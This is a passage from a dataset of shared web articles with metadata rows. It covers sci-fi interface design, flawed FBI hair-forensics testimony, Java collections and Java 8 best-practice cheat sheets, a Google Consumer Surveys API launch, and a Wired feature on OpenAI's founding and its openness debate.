wired with jewels and glowing buttons. Instead, they cut out film and put them over glass panes.To this day, people still modify their computers and tablets to make them look like an LCARS device from the 24th Century, by way of the late 80s. The most interesting lessons from sci-fi come when you assume, for the sake of argument, that everything is in sci-fi is there for a reason-even things that look like mistakes. There's a word for this, apologetics , which usually refers to the act of attempting to close logical loopholes in theology. Take Star Wars , for instance, in the scene when Luke and Han Solo are in the Millennium Falcon blowing up TIE fighters. If they're fighting in the cold vacuum of space, why do we hear the ships exploding? Sound doesn't exist without air. George Lucas probably figured that a silent gun fight would probably have been way less dramatic. He wanted to make the scene feel real to the audience, even if it was less true to reality. And if we move from the point of view that what works for the audience will work for the user, we can ask ourselves-could this make sense? Is there an explanation that can warrant hearing ships exploding in space? Well, what if the sound is the interface? Audio is a much more efficient gauge of surroundings, since it spans 360 degrees, whereas vision only covers 120 degrees. It might be that there are sensors on the outside of the Millennium Falcon that provide 3D sound inside the gunner seat. So when we hear ships blow up, we're actually hearing an augmented reality interface that Luke and Han hear. Maybe? Here's another one. In 2001: A Space Odyssey , Dr. Floyd is on a satellite, making a video call to his daughter back on earth. You see his daughter button-mashing the controls on the video phone, but, strangely you don't hear any of the buttons. Maybe the sound designer was sleeping on the job, but this really is the way that phones ought to work. It could be that the system was context-aware enough to acknowledge that its user is a child, and disregard her button-mashing. With design thinking, there are logical excuses for every interface discrepancy. And it makes sci-fi that much more fun to watch. Producer Sam Greenspan spoke with Nathan Shedroff and Christopher Noessel, authors of Make It So: Interaction Design Lessons from Science Fiction. Their work continues on their website SciFiInterfaces.com . All the music in this episode is by OK Ikumi, his album Alpine Sequences is glorious. Get it.",en
1461757247,CONTENT SHARED,2842727018572461564,-2979881261169775358,4074620004958271570,,,,HTML,http://www.slate.com/articles/news_and_politics/jurisprudence/2015/04/fbi_s_flawed_forensics_expert_testimony_hair_analysis_bite_marks_fingerprints.html,The FBI Faked an Entire Field of Forensic Science,"Photo by Victorburnside/Thinkstock For more stories like this, like Slate on Facebook and follow us on Twitter . The Washington Post published a story so horrifying this weekend that it would stop your breath: ""The Justice Department and FBI have formally acknowledged that nearly every examiner in an elite FBI forensic unit gave flawed testimony in almost all trials in which they offered evidence against criminal defendants over more than a two-decade period before 2000."" What went wrong? The Post continues : ""Of 28 examiners with the FBI Laboratory's microscopic hair comparison unit, 26 overstated forensic matches in ways that favored prosecutors in more than 95 percent of the 268 trials reviewed so far."" The shameful, horrifying errors were uncovered in a massive, three-year review by the National Association of Criminal Defense Lawyers and the Innocence Project. Following revelations published in recent years, the two groups are helping the government with the country's largest ever post-conviction review of questioned forensic evidence . Chillingly, as the Post continues , "" the cases include those of 32 defendants sentenced to death."" Of these defendants, 14 have already been executed or died in prison. The massive review raises questions about the veracity of not just expert hair testimony, but also the bite-mark and other forensic testimony offered as objective, scientific evidence to jurors who, not unreasonably, believed that scientists in white coats knew what they were talking about. As Peter Neufeld, co-founder of the Innocence Project, put it, ""The FBI's three-decade use of microscopic hair analysis to incriminate defendants was a complete disaster."" This study was launched after the Post reported that flawed forensic hair matches might have led to possibly hundreds of wrongful convictions for rape, murder, and other violent crimes, dating back at least to the 1970s. In 90 percent of the cases reviewed so far , forensic examiners evidently made statements beyond the bounds of proper science. There were no scientifically accepted standards for forensic testing, yet FBI experts routinely and almost unvaryingly testified, according to the Post, ""to the near-certainty of 'matches' of crime-scene hairs to defendants, backing their claims by citing incomplete or misleading statistics drawn from their case work."" It was later revealed that one of the hairs presented at trial came from a dog. NACDL executive director Norman Reimer said in an interview with Associations Now that the flaws in the system had been known for years now. ""What we were finding was that the examiners ... wouldn't just simply say that there was a microscopic similarity [between the two hairs], but they would go beyond that and say it was a 100 percent match, essentially misleading the jury into concluding that the evidence had a certain value that it didn't actually have,"" Reimer said. This problem doesn't stop with the FBI labs or federal prosecutions. The review focuses on the first few hundred cases, involving FBI examiners, but the same mistakes and faulty testimony were likely presented in any state prosecutions that relied on the between 500 and 1,000 local or state examiners trained by the FBI . Some states will automatically conduct reviews. Others may not. Much of the evidence is now lost. Systemic change, in other words, is being left to the discretion of the system itself. Paradoxically, Justice Antonin Scalia has emerged as a vocal early skeptic about the risk of taint in the work of crime labs , even though he contended in 2006 that, ""It should be noted at the outset that the dissent does not discuss a single case-not one-in which it is clear that a person was executed for a crime he did not commit. If such an event had occurred in recent years, we would not have to hunt for it; the innocent's name would be shouted from the rooftops by the abolition lobby."" It is clearer now than ever that crime labs and prosecutors' officers do make mistakes, shameful, devastating mistakes, and that they don't usually distinguish between capital and noncapital cases when they do so.",en
1461758423,CONTENT SHARED,6255978182562760059,4209517478660372522,3925037686854874534,,,,HTML,http://zeroturnaround.com/rebellabs/java-collections-cheat-sheet/,Java Collections Cheat Sheet,"Every Java program tends to have one thing in common. They'll all use Java collections! They're so fundamental, we could not even avoid thinking to omit them from our RebelLabs cheat sheet collection. This is a tough challenge, since there's so much you need to know about the collections framework, the implementation details, correct use cases, how to choose the right collection type, what can they do and when to turn to the third party libraries as opposed to using the built in collections in the JDK. However, we never take the easy path, remember, we've tackled: Anyway, no topic as broad as Java collections framework can be fully explained in a single A4 page, but we've tried to incorporate the most essential information you will need to reference again and again. The corresponding explanations and details behind the decisions are right here, in this blogpost. GET ME A JAVA COLLECTIONS CHEAT SHEET! We've also created an interactive flow of questions that you can go through to determine which Java collection you should consider using for your data. Hit Enter to get going or Esc to go back a step: Continue reading to get a better understanding of the collection classes available in Java and when to use them. Collections interfaces and implementations in JDK You might think that the collections framework was always a part of the JDK. Surprise, surprise, that's not true. Collections are one of the most fundamentals parts of the JDK, or any programming language for that matter, but it's also one of the hardest aspects of programming to get right. On top of that it's really challenging to make the collections library simple, coherent, and easy to use (I'm looking at you, Scala). So the Java collections library was introduced to Java in the Java 1.2 in 1998 and has stuck with us since then. Since backwards compatibility is one of the core values of the Java platform, collections haven't changed a lot since then. However, recently in the Java 8 release, the language evolved enough to provide tools to enhance the collection interfaces without breaking backwards compatibility. All in all, Java collections is a comprehensive library that contains the utilities to tackle almost any container-like data structure you might need. Let's dive into which types of collections are available and outline what makes them special and why you might want to use them. Short description of the most used collections There are two main approaches to choosing the collection type you need in your code. The first is simple enough, but not always the most effective: if it fits into an ArrayList, use ArrayList , otherwise you probably need a HashMap . The other includes having an understanding of the operations you will be needing from the collection, the performance you would expect from them and what kind of data you intend to put into the collection. While the advice above can take you quite far, it's much better to understand the options available to help you make an informed decision. Collection interfaces you need to master There are 4 main types of Java collections available. Naturally, the implementations for each type can be found under the corresponding interfaces. Before we start digging into these, there are 2 main umbrella interfaces you want to know about: Iterable and Collection . Typically you rarely need to think about these, but it's important to at least understand them. The iterable interface allows one to obtain an iterator and traverse the sequence of elements by calling the next() method. It also makes it possible to iterate through elements with the syntactic sugar of the ""for-each"" loop: for(E e: iterable) The collection interface extends the Iterable and represents an iterable group of elements which can be added, removed, or checked for presence in the collection. However, the implementations usually implement the more specific interfaces that are designed with the collection implementation in mind. Here are the most used collection interfaces. List A List is an ordered collection of elements. Some languages call that a sequence, or you can think of if it as an array of varying length. You can add elements to it, in the middle of it, access and replace the elements using an index. Not surprisingly, the list is one of the most common collections used. However, there's almost no variety in the used implementations required. Yeah, in school you learned about the dreaded linked lists and how to implement them and how awesome it is to have access to the head and the tail of it. In practice, you are better using the ArrayList 99% of the time. The reason for that is quite simple, it consumes less memory, it is friendlier to the caches, and it is in general faster than the LinkedList from the JDK. In fact, you should try not to use a LinkedList. If you foresee that you'll need to establish concurrent access to a list, you'll need to worry about the synchronization yourself. Typically, that means that either you will use a CopyOnWriteArrayList which is thread-safe and immutable. If your data can be mutated by another thread, but the performance of the reading accesses is much more important. CopyOnWriteArrayList is your list of choice. Set A collection that contains no duplicate elements is a set . Just like the mathematical set, the interface denotes a collection that holds elements and basically answers a single question: is a given element contained in the set. Set doesn't necessarily specify the order of elements when you iterate them, but all set implementations are created with the performance of the contains method in mind. There are two main Set implementations that you should know about: HashSet and TreeSet . HashSet hashes the elements and distributes them into buckets by the hash value. Tree set is backed by a balanced tree, which makes it ordered and navigable (so you can ask what for the previous and next elements by value). TreeSet operations will have worse complexity compared to the HashSet as a result, but bear in mind that the operations still take sublinear time of the set size, which means that for realistic values of the set sizes, it's still quite a short time. However, typically use-cases for sets do not require navigating from element to element, so the HashSet is the goto implementation you'll tend to use. And it's a good one. Just remember to correctly implement the hashCode() and equals() methods for your elements. Map Perhaps the most used collection type of all time - an object that maps keys to values, an associative array, a table: the map. Maps are the most versatile collection type because the association of keys to values is really what computers are all about: a dictionary, mapping object properties to their values just like javascript does, mapping filenames to their contents and metadata, mapping usernames to password hashes, session attributes, product cart items, game high scores. Wherever you look you'll find a use case for a map. Naturally there are different implementations that are tweaked to provide different performance trade-offs. But the default goto implementation of the map interface is undoubtedly the infamous HashMap . The Hashmap implementation depends on the Key objects implementing the hashCode() and equals() methods correctly, so always take care of these. In return the HashMap promises you the almost constant time performance which is as amazing as you can get out of any data structure and scales amazingly well. If you need the navigation between elements or you'd need to deal with unhashable element types, you can use a TreeMap . Using a balanced tree, just like the sets above, treemap scales appropriately and gives you a chance to iterate the contents in a sorted order. Now we don't want to dive into all the API methods for maps. You can put and get values, as you'd expect. But we would love to point out one super amazing method that has been available to us since Java 8: computeIfAbsent . default V computeIfAbsent(K key, Function<? super K,? extends V> mappingFunction) What computeIfAbsent does is give you an opportunity to specify how to obtain the value for the key, if it's not in the collection yet. Essentially it checks if the given key is contained in the map. If it happens to be so, you get the corresponding value back. If not, the mapping function is executed and the resulting values is put into the map and returned to you. That's more or less how caches work. Amazing, right? Queue A queue is a collection designed to hold elements prior to processing, the elements wait in line to be consumed and can be added to the tail of the queue. Queues are those fundamental pieces of software that tie components together. When components are communicating in a system, there's typically a queue of messages sitting between them. Queues are a special sort of collection, because are mostly operated using the Queue interface, rather than methods inherited from the Collection interface. To add an element to a queue, use: E e; Queue<E> q = ... q.offer(e); // try to put the element into the queue, if the queue is full, do nothing q.poll(); // remove the head of the queue q.peek(); // return the head of the queue without modifying it. There are also corresponding methods that throw exceptions if operations don't succeed. But all in all, there are three main operations one performs on a queue: enqueue, deque and peek. Note that you can get an iterator from the queue and process the elements similar to any other collection. It would even work for some implementations of the queue interface, but not for all. These are the typical classes that you might use that implement the queue interface: ArrayDeque - a good general purpose battle-tested implementation of a queue. ArrayDeque is backed by a resizeable array that can grow to accommodate additional elements. Most ArrayDeque operations run in amortized constant time. PriorityQueue - a queue of sorted elements. The sorting is achieved either naturally or determined by a provided comparator, but the head of the queue is always the minimal element. Note that a priority queue won't change its order if you mutate the elements inside it. If you're curious about the performance, the mutating operations run in logarithmic time of the queue size, peeking and such - in constant, and the search is linear. Collection utilities Now we've talked about all the most common collection types you'll encounter, it's time to dig into the other parts of the Java collections framework. There's an amazing class, called Collections , that provides handy utility methods that you should be aware of. First of all let's talk about the collection wrappers. Any collection type can have additional requirements to its functionality, these orthogonal qualities are implemented with the wrappers. The original collection is wrapped into another one that delegates the element handling logic to it. The prime example of some functionality that is suitable for a wrapper is making a collection immutable. Indeed, you just need to ignore all the mutating operations like: put, insert, and so on. And all the non-mutating operations can be easily delegated to the actual collection implementations. The Collections class provides a set of methods that give you just that: unmodifiable collections: Another useful type of wrapper available is the synchronized collections wrapper. Indeed, most of the collection implementations do not implement the synchronization themselves. What would you do if you need to use HashSet concurrently from multiple threads? That's right, you call the corresponding wrapper method and use the returned set. Collections.synchronizedSet(new HashSet<E>()); It's important to remember that the wrapper does not change the implementation of the underlying collection. That is if you obtain a reference to the wrapped hash set and use that concurrently there are no guarantees. Here's a short list of the useful methods in the Collections class that typically are used more than others: binarySearch - a fast way to find an element in a sorted List. frequency - tells you how many times an element is encountered in a collection min / max - returns the smallest / largest element of the collection reverseOrder - provides you with a Comparator to sort elements in the descending order singleton - wraps an object into the Set containing that object, the similar methods are available for the List and Map classes. Other libraries There are more questions that you can ask of your collection implementation and obviously there are more answers than just the stock implementations you can find in the JDK. Here are some libraries that we think are amazing and give you more functionality for the collection creation and manipulation and more collection types. Guava - Google Core Libraries for Java 6+ . Perhaps the default third party collection library for Java projects. Contains a magnitude of convenient methods for creating collection, like fluent builders, as well as advanced collection types. Eclipse Collections - Features you want with the collections you need . Previously known as gs-collections, this library includes almost any collection you might need: primitive type collections, multimaps, bidirectional maps and so on. Fastutil - Fast & compact type-specific collections for Java . Great default choice for collections of primitive types, like int or long. Also handles big collections with more than 2^31 elements. JCTools - Java Concurrency Tools for the JVM . If you work on high throughput concurrent applications and need a way to increase your performance, check out JCTools. It contains lots of queues for all kinds of single / multiple producer / consumer environments and other useful classes. Sure, this is not a definitive list, but these are the essential libraries that you should know about. You're might be using Guava in your project already; at least once you have thought about how awesome would it be to have the collections for primitives, and so on. So check these out! Improving JDK collections It's not easy to change something as fundamental as the collections library in the JDK. However, the Java 8 release had implemented a major enhancements to the collections library and more than that, with the inclusion of the default methods it made it possible to evolve the collection interfaces without breaking all of the implementations. The progress doesn't stop there. The upcoming Java 9 release contains the JEP 269: Convenience Factory Methods for Collections , the proposal to include the methods for easier collection creation. Finally, we would be able to specify the collections with a simpler syntax like: List.of(a, b, c); Set.of(d, e, f, g); Map.ofEntries( entry(k1, v1), entry(k2, v2), entry(k3, v3)); That would be really sweet. Conclusion We've talked a lot about Java collections and different implementations of the collection interfaces you can find in the java.util package. Sets, Lists and Maps are your friends and you'll need to apply quite a bit of imagination to come up with a program that doesn't need the collections API. We touched on the subject of collection wrappers and how to make collections immutable and synchronize them for concurrent access. Be sure to check out those libraries above with the alternative collections implementations. Hopefully you liked this post and the cheat sheet that tries to give you the information about Java collections on a single printable A4 sized piece of paper. SHOW ME JAVA COLLECTIONS CHEAT SHEET! Oleg Shelajev",en
1461758485,CONTENT SHARED,8651615486877503655,4209517478660372522,3925037686854874534,,,,HTML,http://zeroturnaround.com/rebellabs/java-8-best-practices-cheat-sheet/,Java 8 Best Practices Cheat Sheet,"Hi there, do you like trains? Here at RebelLabs, we love trains! Not just a regular love, but an unconditional love as well as immense respect for trains of all kinds. Let me give you an example, a Java train that is regularly delayed till a later date. Long story short, Java 9 should have been feature complete by now, but it isn't. There's no need to assign blame or to point fingers and complain how bad the red shepherd of Java is. Jigsaw is a hard problem and takes time to get right and... we're not going to talk about that right now. Java 9 is far away from being just around the corner, so we'll have be friends with Java 8 for a little while longer. Java 8 has already been with us for quite some time. Let's reflect on it and talk about the best practices that have naturally grown in its typical usage. In this post we'll look at the hot topics of the Java 8 language: default methods, lambdas and streams and using Optional to represent absent values. SHOW ME A PRINTABLE JAVA 8 CHEAT SHEET! Default methods in interfaces The ability to specify default method implementations in interfaces was added into JDK 8 so that collections could evolve without breaking backward compatibility. Previously, we couldn't just add a method to an interface without requiring all the implementing subclasses to specify an implementation of the new method. Breaking backward compatibility is a deal-breaker for Java. So since version 1.8 we can mark a method with the default keyword and provide the body of the method right in the interface. This, as any powerful feature does, opens all sorts of doors for unmaintainable, confusing code, if abused. However in small doses one can enhance existing interfaces and make them more useful in the codebase. The main rule of thumb for using default methods is not to abuse them and not to make the code messier than it would be without it. For example, if you want to add some sort of functionality to Java classes without polluting their hierarchy with a common superclass, consider creating a separate interface just for this one utility method. Here's an example of an interface called Debuggable that uses the reflection API to get the access to the object's fields and provides a decent t oString() implementation for the object that prints the fields values. The important part here is the default keyword on the method signature. One could now use this for any class that you need to peek at, like this: Which prints the expected line: "" Main [ a = 100 b = Home ] "". Functional interfaces of Java 8 deserve a special mention here. A functional interface is one that declares a single abstract method. This method will be called if we use it with the lambda syntax later. Note that default methods don't break single abstract method contract. You can have a functional interface bearing many default methods if you choose. Don't overuse it though. Code conciseness is important, but code readability trumps it by far. Lambdas in Streams Lambdas, oh sweet lambdas! Java developers have been eagerly waiting for you. For years Java has received the label of not being an appropriate programming language for functional programming techniques, because functions were not the first class citizens in the language. Indeed, there wasn't a neat and accepted way to refer to a code block by a name and pass it around. Lambdas in JDK 8 changed that. Now we can use method references, for better or worse, to refer to a specific method, assign the functions into variables, pass them around, compose them and enjoy all the perks the functional programming paradigm offers. The basics are simple enough, you can define functions using the arrow (->) notation and assign them to fields. To make things simpler when passing functions as parameters, we can use a functional interface, with only one abstract method. There are a bunch of interfaces in the JDK that are created for almost any case: void functions, no parameters functions, normal functions that have both parameters and the return values. Here's a taste of how your code might look using the lambda syntax. The caveat here is that the code is tough to manage if you let your anonymous functions grow over a certain threshold. Think about the fattest lambda you've seen? Right. That should have never existed. The most natural place for a lambda to exist is code which processes data. The code specifies the data flow and you just plug in the specific functionality that you want to run into the framework. The Stream API immediately comes to mind. Here's an example: That's pretty self-explanatory, right? In general, when working with streams, you transform the values contained in the stream with the functions you provide for example using the lambda syntax. However, for a better explanation, check out the Java 8 Streams cheat sheet , it has a short, clear explanation when and why you want to use certain stream methods and what pitfalls might await you. Lambda Takeaways If the code doesn't specify the framework for the data flow into which you plug your functions, consider avoiding multiplying lambdas. A proper class might be more readable. If your lambda grows above 3 lines of code - split it: either into several map() invocations that process the data in steps or extract a method and use the method reference syntax to refer to it. Don't assign lambdas and functions to the fields of the objects. Lambdas represent functions and those are best served pure. I'VE SEEN ENOUGH, I NEED TO PRINT MY FREE JAVA 8 CHEAT SHEET! java.util.Optional Optional is a new type in Java 8 that wraps either a value or null, to represent the absence of a value. The main benefit is that it your code can now gracefully handle the existence of null values, as you don't have to explicitly check for nulls anymore. Optional is a monadic type you can map functions into, that will transform the value inside the Optional. Here's a simple example, imagine you have an API call that might return a value or null, which you need to then process with the transform() method call. We'll compare code with and without using Optional types. vs. It isn't nice to have null checks polluting your code, is it? The best part is that we can now live inside this Optional world and never leave it, since all functions can be mapped into it. What about the functions that already return an Optional? Have no fear with the flatMap method, you won't end up double wrapping Optionals. Check out flatMap's signature: It takes care of the required unwrapping so you have just one level of Optionals! Now, before you rewrite all your code to have Optionals all over the place. Hold on for a minute longer. Here's a rule of thumb for where you want to use Optional types: Instance fields - use plain values. Optional wasn't created for usage in fields. It's not serializable and adds a wrapping overhead that you don't need. Instead use them on the method when you process the data from the fields. Method parameters - use plain values. Dealing with tons of Optionals pollutes the method signatures and makes the code harder to read and maintain. All functions can be lifted to operate on optional types where needed. Keep the code simple! Method return values - consider using Optional. Instead of returning nulls, the Optional type might be better. Whoever uses the code will be forced to handle the null case and it makes for cleaner code. All in all, using the Optional type correctly helps you keep your codebase clean and readable. And that's very important! Disregarding that, both in life and in your code, is a recipe for disaster! Conclusion I hope this post gives you an idea of some of the best practices on using Java 8 features and still have readable and maintainable code. If you liked it, don't forget to print the handy 1 page cheat sheet we prepared with the takeaways from the post so you can print it out and put it under your less experienced colleague's coffee cup. AGREED, I NEED THIS JAVA 8 CHEAT SHEET! What are your rules of thumb and best practices with dealing with Java 8 features? Hit the comment section below or find us on Twitter: @ZeroTurnaround . This is our first one page cheat sheet. Are there any other areas you'd like a cheat sheet on? Would you like to read a post summarizing best practices of Java Date & Time API, more on stream processing or how to use Collectors to the fullest? Make your selection on this single question survey and we'll try our best to share our experience with you. Authors Oleg Shelajev Simon Maple",en
1461763075,CONTENT SHARED,-6704596170548214779,3891637997717104548,1830622984915975400,,,,HTML,https://cloudplatform.googleblog.com/2016/04/Google-Consumer-Surveys-API-lets-you-add-a-survey-to-any-mobile-or-web-app.html,Introducing Google Consumer Surveys API: Let users of your app create surveys,"Google Consumer Surveys has launched an API, built on Google Cloud Platform, that lets your app users create and integrate surveys. We've spoken to research and non-research companies who are really interested in bringing the power of our Consumer Surveys tool into their own applications, and with this launch it's finally possible. We imagine many different use-cases to tap into the millions of respondents our platform can connect you with, across a dozen or more markets around the world. Leading up to our launch we worked closely with a handful of trusted testers who provided valuable feedback. These have included proprietary solutions to manage studies conducted on the Google Consumer Surveys platform ( Kantar ), predictive analytics solutions ( Predictvia ), and solutions that help customers visualize their Google Consumer Surveys data ( MarketSight ). We look forward to working with developers to build unique solutions that empower individuals and businesses to make better data driven decisions. If you're an existing Google Consumer Surveys Enterprise customer on an invoicing contract, you can start using the API immediately. If you're not an Enterprise customer but are interested in accessing the API, you can get in touch with us at gcs-api@google.com . You can read more about our API on our API documentation site .",en
1461765897,CONTENT SHARED,2901480192726556992,-1443636648652872475,-8312512943967547407,,,,HTML,http://www.wired.com/2016/04/openai-elon-musk-sam-altman-plan-to-set-artificial-intelligence-free/,"Inside OpenAI, Elon Musk's Wild Plan to Set Artificial Intelligence Free","The Friday afternoon news dump, a grand tradition observed by politicians and capitalists alike, is usually supposed to hide bad news . So it was a little weird that Elon Musk , founder of electric car maker Tesla, and Sam Altman, president of famed tech incubator Y Combinator, unveiled their new artificial intelligence company at the tail end of a weeklong AI conference in Montreal this past December. But there was a reason they revealed OpenAI at that late hour . It wasn't that no one was looking. It was that everyone was looking. When some of Silicon Valley's most powerful companies caught wind of the project, they began offering tremendous amounts of money to OpenAI's freshly assembled cadre of artificial intelligence researchers, intent on keeping these big thinkers for themselves. The last-minute offers-some made at the conference itself-were large enough to force Musk and Altman to delay the announcement of the new startup. ""The amount of money was borderline crazy,"" says Wojciech Zaremba, a researcher who was joining OpenAI after internships at both Google and Facebook and was among those who received big offers at the eleventh hour. How many dollars is ""borderline crazy""? Two years ago, as the market for the latest machine learning technology really started to heat up, Microsoft Research vice president Peter Lee said that the cost of a top AI researcher had eclipsed the cost of a top quarterback prospect in the National Football League -and he meant under regular circumstances, not when two of the most famous entrepreneurs in Silicon Valley were trying to poach your top talent. Zaremba says that as OpenAI was coming together, he was offered two or three times his market value. OpenAI didn't match those offers. But it offered something else: the chance to explore research aimed solely at the future instead of products and quarterly earnings, and to eventually share most-if not all-of this research with anyone who wants it. That's right: Musk, Altman, and company aim to give away what may become the 21st century's most transformative technology-and give it away for free. Zaremba says those borderline crazy offers actually turned him off-despite his enormous respect for companies like Google and Facebook. He felt like the money was at least as much of an effort to prevent the creation of OpenAI as a play to win his services, and it pushed him even further towards the startup's magnanimous mission. ""I realized,"" Zaremba says, ""that OpenAI was the best place to be."" That's the irony at the heart of this story: even as the world's biggest tech companies try to hold onto their researchers with the same fierceness that NFL teams try to hold onto their star quarterbacks, the researchers themselves just want to share. In the rarefied world of AI research, the brightest minds aren't driven by-or at least not only by-the next product cycle or profit margin. They want to make AI better, and making AI better doesn't happen when you keep your latest findings to yourself. OpenAI is a billion-dollar effort to push AI as far as it will go. This morning, OpenAI will release its first batch of AI software, a toolkit for building artificially intelligent systems by way of a technology called reinforcement learning -one of the key technologies that, among other things, drove the creation of AlphaGo, the Google AI that shocked the world by mastering the ancient game of Go . With this toolkit, you can build systems that simulate a new breed of robot, play Atari games, and, yes, master the game of Go. But game-playing is just the beginning. OpenAI is a billion-dollar effort to push AI as far as it will go. In both how the company came together and what it plans to do, you can see the next great wave of innovation forming. We're a long way from knowing whether OpenAI itself becomes the main agent for that change. But the forces that drove the creation of this rather unusual startup show that the new breed of AI will not only remake technology, but remake the way we build technology. AI Everywhere Silicon Valley is not exactly averse to hyperbole. It's always wise to meet bold-sounding claims with skepticism. But in the field of AI, the change is real. Inside places like Google and Facebook, a technology called deep learning is already helping Internet services identify faces in photos , recognize commands spoken into smartphones , and respond to Internet search queries . And this same technology can drive so many other tasks of the future. It can help machines understand natural language -the natural way that we humans talk and write. It can create a new breed of robot , giving automatons the power to not only perform tasks but learn them on the fly. And some believe it can eventually give machines something close to common sense-the ability to truly think like a human. But along with such promise comes deep anxiety. Musk and Altman worry that if people can build AI that can do great things, then they can build AI that can do awful things, too. They're not alone in their fear of robot overlords, but perhaps counterintuitively, Musk and Altman also think that the best way to battle malicious AI is not to restrict access to artificial intelligence but expand it. That's part of what has attracted a team of young, hyper-intelligent idealists to their new project. OpenAI began one evening last summer in a private room at Silicon Valley's Rosewood Hotel-an upscale, urban, ranch-style hotel that sits, literally, at the center of the venture capital world along Sand Hill Road in Menlo Park, California. Elon Musk was having dinner with Ilya Sutskever, who was then working on the Google Brain , the company's sweeping effort to build deep neural networks-artificially intelligent systems that can learn to perform tasks by analyzing massive amounts of digital data, including everything from recognizing photos to writing email messages to, well, carrying on a conversation . Sutskever was one of the top thinkers on the project. But even bigger ideas were in play. Sam Altman, whose Y Combinator helped bootstrap companies like Airbnb, Dropbox, and Coinbase , had brokered the meeting, bringing together several AI researchers and a young but experienced company builder named Greg Brockman, previously the chief technology officer at high-profile Silicon Valley digital payments startup called Stripe , another Y Combinator company. It was an eclectic group. But they all shared a goal: to create a new kind of AI lab, one that would operate outside the control not only of Google, but of anyone else. ""The best thing that I could imagine doing,"" Brockman says, ""was moving humanity closer to building real AI in a safe way."" Musk is one of the loudest voices warning that we humans could one day lose control of systems powerful enough to learn on their own. Musk was there because he's an old friend of Altman's-and because AI is crucial to the future of his various businesses and, well, the future as a whole. Tesla needs AI for its inevitable self-driving cars. SpaceX, Musk's other company, will need it to put people in space and keep them alive once they're there. But Musk is also one of the loudest voices warning that we humans could one day lose control of systems powerful enough to learn on their own. The trouble was: so many of the people most qualified to solve all those problems were already working for Google (and Facebook and Microsoft and Baidu and Twitter). And no one at the dinner was quite sure that these thinkers could be lured to a new startup, even if Musk and Altman were behind it. But one key player was at least open to the idea of jumping ship. ""I felt there were risks involved,"" Sutskever says. ""But I also felt it would be a very interesting thing to try."" Breaking the Cycle Emboldened by the conversation with Musk, Altman, and others at the Rosewood, Brockman soon resolved to build the lab they all envisioned. Taking on the project full-time, he approached Yoshua Bengio, a computer scientist at the University of Montreal and one of founding fathers of the deep learning movement. The field's other two pioneers-Geoff Hinton and Yann LeCun-are now at Google and Facebook, respectively, but Bengio is committed to life in the world of academia, largely outside the aims of industry. He drew up a list of the best researchers in the field, and over the next several weeks, Brockman reached out to as many on the list as he could, along with several others. Many of these researchers liked the idea, but they were also wary of making the leap. In an effort to break the cycle, Brockman picked the ten researchers he wanted the most and invited them to spend a Saturday getting wined, dined, and cajoled at a winery in Napa Valley. For Brockman, even the drive into Napa served as a catalyst for the project. ""An underrated way to bring people together are these times where there is no way to speed up getting to where you're going,"" he says. ""You have to get there, and you have to talk."" And once they reached the wine country, that vibe remained. ""It was one of those days where you could tell the chemistry was there,"" Brockman says. Or as Sutskever puts it: ""the wine was secondary to the talk."" By the end of the day, Brockman asked all ten researchers to join the lab, and he gave them three weeks to think about it. By the deadline, nine of them were in. And they stayed in, despite those big offers from the giants of Silicon Valley. ""They did make it very compelling for me to stay, so it wasn't an easy decision,"" Sutskever says of Google, his former employer. ""But in the end, I decided to go with OpenAI, partly of because of the very strong group of people and, to a very large extent, because of its mission."" The deep learning movement began with academics. It's only recently that companies like Google and Facebook and Microsoft have pushed into the field, as advances in raw computing power have made deep neural networks a reality , not just a theoretical possibility. People like Hinton and LeCun left academia for Google and Facebook because of the enormous resources inside these companies. But they remain intent on collaborating with other thinkers. Indeed, as LeCun explains, deep learning research requires this free flow of ideas. ""When you do research in secret,"" he says, ""you fall behind."" As a result, big companies now share a lot of their AI research. That's a real change, especially for Google, which has long kept the tech at the heart of its online empire secret . Recently, Google open sourced the software engine that drives its neural networks . But it still retains the inside track in the race to the future. Brockman, Altman, and Musk aim to push the notion of openness further still, saying they don't want one or two large corporations controlling the future of artificial intelligence. The Limits of Openness All of which sounds great. But for all of OpenAI's idealism, the researchers may find themselves facing some of the same compromises they had to make at their old jobs. Openness has its limits. And the long-term vision for AI isn't the only interest in play. OpenAI is not a charity. Musk's companies that could benefit greatly the startup's work, and so could many of the companies backed by Altman's Y Combinator. ""There are certainly some competing objectives,"" LeCun says. ""It's a non-profit, but then there is a very close link with Y Combinator. And people are paid as if they are working in the industry."" According to Brockman, the lab doesn't pay the same astronomical salaries that AI researchers are now getting at places like Google and Facebook. But he says the lab does want to ""pay them well,"" and it's offering to compensate researchers with stock options, first in Y Combinator and perhaps later in SpaceX (which, unlike Tesla, is still a private company). Brockman insists that OpenAI won't give special treatment to its sister companies. Nonetheless, Brockman insists that OpenAI won't give special treatment to its sister companies. OpenAI is a research outfit, he says, not a consulting firm. But when pressed, he acknowledges that OpenAI's idealistic vision has its limits. The company may not open source everything it produces, though it will aim to share most of its research eventually, either through research papers or Internet services. ""Doing all your research in the open is not necessarily the best way to go. You want to nurture an idea, see where it goes, and then publish it,"" Brockman says. ""We will produce lot of open source code. But we will also have a lot of stuff that we are not quite ready to release."" Both Sutskever and Brockman also add that OpenAI could go so far as to patent some of its work. ""We won't patent anything in the near term,"" Brockman says. ""But we're open to changing tactics in the long term, if we find it's the best thing for the world."" For instance, he says, OpenAI could engage in pre-emptive patenting, a tactic that seeks to prevent others from securing patents. But to some, patents suggest a profit motive-or at least a weaker commitment to open source than OpenAI's founders have espoused. ""That's what the patent system is about,"" says Oren Etzioni, head of the Allen Institute for Artificial Intelligence. ""This makes me wonder where they're really going."" The Super-Intelligence Problem When Musk and Altman unveiled OpenAI, they also painted the project as a way to neutralize the threat of a malicious artificial super-intelligence. Of course, that super-intelligence could arise out of the tech OpenAI creates, but they insist that any threat would be mitigated because the technology would be usable by everyone. ""We think its far more likely that many, many AIs will work to stop the occasional bad actors,"" Altman says. But not everyone in the field buys this. Nick Bostrom, the Oxford philosopher who, like Musk, has warned against the dangers of AI, points out that if you share research without restriction, bad actors could grab it before anyone has ensured that it's safe. ""If you have a button that could do bad things to the world,"" Bostrom says, ""you don't want to give it to everyone."" If, on the other hand, OpenAI decides to hold back research to keep it from the bad guys, Bostrom wonders how it's different from a Google or a Facebook. If you share research without restriction, bad actors could grab it before anyone has ensured that it's safe. He does say that the not-for-profit status of OpenAI could change things-though not necessarily. The real power of the project, he says, is that it can indeed provide a check for the likes of Google and Facebook. ""It can reduce the probability that super-intelligence would be monopolized,"" he says. ""It can remove one possible reason why some entity or group would have radically better AI than everyone else."" But as the philosopher explains in a new paper , the primary effect of an outfit like OpenAI-an outfit intent on freely sharing its work-is that it accelerates the progress of artificial intelligence, at least 